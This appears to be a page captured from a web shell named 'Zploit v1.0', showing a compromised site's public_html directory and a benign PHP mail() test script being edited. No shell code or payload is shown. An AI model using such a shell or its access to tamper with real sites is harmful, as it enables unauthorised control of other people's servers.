:: **Zploit** v1.0 | Current Path: **/home/kreativepixelz/public_html/**
:: Editing File: mail_test.php
<?php $from = "info@kreativepixelz.com"; // Replace with a valid email $mail_result = "Mail failed"; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/html;charset=iso-8859-1" . "\r\n"; $headers .= 'From: ' . $from . "\r\n"; $headers .= 'Reply-To: ' . $from . "\r\n"; $headers .= 'X-Mailer: PHP/' . phpversion(); $to = "webh8483@gmail.com"; // Replace with recipient's email $subject = "Mail sending from files"; // Define the missing $body variable $body = "This is a test email from PHP mail() function."; if (mail($to, $subject, $body, $headers)) echo "mail sent"; else echo "mail not sent"; ?>